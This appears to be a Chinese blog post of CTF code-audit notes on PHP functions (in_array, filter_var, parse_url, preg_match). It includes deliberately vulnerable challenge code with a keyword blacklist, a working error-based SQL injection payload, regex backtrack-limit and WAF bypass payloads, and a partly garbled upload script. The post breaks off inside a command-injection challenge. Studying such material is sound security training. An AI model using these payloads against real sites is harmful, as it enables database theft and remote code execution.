ctf中代码审计以及自己的总结

前言

寒假到来,打算学习哈代码审计(主要了解函数漏洞),于是乎看了红日安全编写的代码审计.其中红日安全对cms的讲解挺好的,我就不多说了,想了解的可以点击上面的链接去看看。

函数一 in_array

函数解析

看看php手册对该函数的描述

in_array :(PHP 4, PHP 5, PHP 7)

功能 :检查数组中是否存在某个值

定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。

根据描述也就是说PHP在使用 in_array() 函数判断时如果没有设置第三个参数为True,就会将 类似7aaa 强制转换成数字7,再进行判断,也就是弱类型比较。根据该原理就有如下的变形


echo "in_array('5 or 1=1', array(1, 2, 3, 4, 5))----->";
var_dump(in_array('5 or 1=1', array(1, 2, 3, 4, 5)));
echo '
'
; //true echo "in_array('kaibro', array(0, 1, 2))----->"; var_dump(in_array('kaibro', array(0, 1, 2))); echo '
'
; //true echo "in_array(array(), array('kai'=>false))---->"; var_dump(in_array(array(), array('kai'=>false))); echo '
'
; //true echo "in_array(array(), array('kai'=>null))--->"; var_dump(in_array(array(), array('kai'=>null))); echo '
'
; //true echo "in_array(array(), array('kai'=>0))---->"; var_dump(in_array(array(), array('kai'=>0))); echo '
'
; //false echo "in_array(array(), array('kai'=>'bro'))---->"; var_dump(in_array(array(), array('kai'=>'bro'))); echo "
"
; //false echo "in_array('i', array('kai'=>true))"; var_dump(in_array('i', array('kai'=>true))); echo "
"
; //true echo "in_array('ddd', array('kai'=>'bro'))------>"; var_dump(in_array('ddd', array('kai'=>'bro'))); echo "
"
; //false echo "in_array('ddd', array('kai'=>0))------>"; var_dump(in_array('ddd', array('kai'=>0))); echo "
"
; //true echo "in_array('ddd', array('kai'=>1))----->"; var_dump(in_array('ddd', array('kai'=>1))); echo "
"
; //false ?>

结果如下图
ctf中代码审计以及自己的总结_第1张图片

CTF

//index.php

include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "
";foreach($rowas$key=>$value){echo"
";echo"
";}echo"
$key
$value
"
; } else{ die($conn->error); } ?>
//config.php
  
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
	$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
	$back_list = explode("|",$pattern);
	foreach($back_list as $hack){
		if(preg_match("/$hack/i", $value))
			die("$hack detected!");
	}
	return $value;
}
?>
# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','[email protected]',3000);
INSERT INTO users VALUES(2,'Danny','[email protected]',4500);
INSERT INTO users VALUES(3,'Alina','[email protected]',2700);
INSERT INTO users VALUES(4,'Jameson','[email protected]',10000);
INSERT INTO users VALUES(5,'Allie','[email protected]',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

题解如下
这道题比较简单,传入的·id 参数经过stop_hack函数进行了处理,过滤了很多,但是没有过滤updatexml 函数以及extractvalue等报错函数,过滤了聚合函数,可以使用make_set,make_set 具体原理如下
make_set(x,str1,str2 )简单直白的来说,3的二进制为0011,倒过来为1100,所以取str1(a),str2(b),打印a,b.
具体列子如下
ctf中代码审计以及自己的总结_第2张图片
对于in_arrary,只要传入的第一个参数id为数字且在 $whitelist = range(1, $row[‘COUNT(*)’]);中就行,
所以最后最后解题的payload如下

http://localhost/index.php?id=5 and (select updatexml(1,make_set(3,’~’,(select flag from flag)),1))

ctf中代码审计以及自己的总结_第3张图片

函数二 filter_var ,preg_match,parse_url

函数解析

看哈php手册对filter_var的描述

filter_var : (PHP 5 >= 5.2.0, PHP 7)

功能 :使用特定的过滤器过滤一个变量

定义 :mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

如果第二个参数 用了FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的url。可以用javascript伪协议进行绕过
演示代码



if(filter_var($_GET['url'],FILTER_VALIDATE_URL))
{
	echo "匹配成功";
	var_dump($_GET['url']);

}
?>

不是一个合法url也通过了检测
ctf中代码审计以及自己的总结_第4张图片
如果第二个·参数为FILTER_VALIDATE_EMAIL ,则 我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗fiter_var()使其认为我们仍然在双引号中,这样我们就可以绕过检测演示代码如下



if(filter_var('"\ not\ allow"@qq.com',FILTER_VALIDATE_EMAIL))
{
	echo "匹配成功";
}


if(filter_var('\'is."not\ allow"@qq.com',FILTER_VALIDATE_EMAIL))
{
	echo "匹配成功";
}
?>

结果匹配成功
ctf中代码审计以及自己的总结_第5张图片

parse_url

函数解析

看哈php手册对parse_url的描述


说明
parse_url ( string $url [, int $component = -1 ] ) : mixed

本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。

本函数不是用来验证给定 URL 的合法性的,只是将其分解为下面列出的部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。

函数演示


print_r(parse_url("http://www.baidu.com/index.php?id=1"));
?>

ctf中代码审计以及自己的总结_第6张图片

函数在处理传入的url时会出现问题具体看以下


var_dump(parse_url("//a/b")); #array(2) { ["host"]=> string(1) "a" ["path"]=> string(2) "/b" } 
echo "
"
; var_dump(parse_url('..//a/b/c:80')); #array(3) { ["host"]=> string(2) ".." ["port"]=> int(80) ["path"]=> string(10) "//a/b/c:80" } echo "
"
; var_dump(parse_url('///a.php?id=1')); #bool(false) echo "
"
; #PHP <7.0.0 #var_dump(parse_url('/a.php?id=1:80')); false #PHP >7.0.0 var_dump(parse_url('/a.php?id=1:80'));#array(2) { ["path"]=> string(6) "/a.php" ["query"]=> string(7) "id=1:80" } echo "
"
; #php < 5.3 端口超过65535 var_dump(parse_url('http://kaibro.tw:87878'));#array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "kaibro.tw" ["port"]=> int(22342) } #php> 5.3 var_dump(parse_url('http://kaibro.tw:87878'));#false var_dump(parse_url("http://foo@localhost:[email protected]")); //array(4) { ["scheme"]=> string(4) "http" ["host"]=> string(13) "www.baidu.com" ["user"]=> string(13) "foo@localhost" ["pass"]=> string(2) "80" } ?>

preg_match

函数解析

看哈php手册对preg_match的描述


说明
preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int

搜索subject与pattern给定的正则表达式的一个匹配.

第二個參數如果是陣列,PHP會把它串接成字串,导致匹配失败测试代码


$test = $_GET['txt'];
if(preg_match('[<>?]', $test))
{
	die();
}
file_put_contents('output', $test);
?>

虽然运行报错。但生成了文件并写入了
ctf中代码审计以及自己的总结_第7张图片
严格匹配时候,可以用%0a绕过测试代码


$test = $_GET['txt'];
if(preg_match('/^ceshi$/', $test) && $_GET['txt']!="ceshi")
{
	echo 123;
}
?>

ctf中代码审计以及自己的总结_第8张图片
正则引擎回溯导致正则匹配失效
一篇文章说明
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
本地测试

].*/is','

ctf中代码审计以及自己的总结_第9张图片

所以最后的payload为

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa + b'a' * 1000000)
}

res = requests.post('http://127.0.0.1/zhengze.php', files=files, allow_redirects=False)
print(res.text)

ctf中代码审计以及自己的总结_第10张图片
这种能力还能绕过waf

var_dump(preg_match('/union.+select/is','union/**/select admin//'.str_repeat('a',10000000)));

ctf中代码审计以及自己的总结_第11张图片下面的waf如下

var_dump(preg_match('/union.+?select/is','union/*'.str_repeat('a',10000000).'*/select from admin'));

ctf中代码审计以及自己的总结_第12张图片

一道ctf


function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

payload利用Python 实现文件上传

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa + b'a' * 1000000)
}

res = requests.post('http://127.0.0.1/zhengze.php', files=files, allow_redirects=False)
print(res.text)

ctf

// index.php
 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "

You have curl {$site_info['host']} successfully!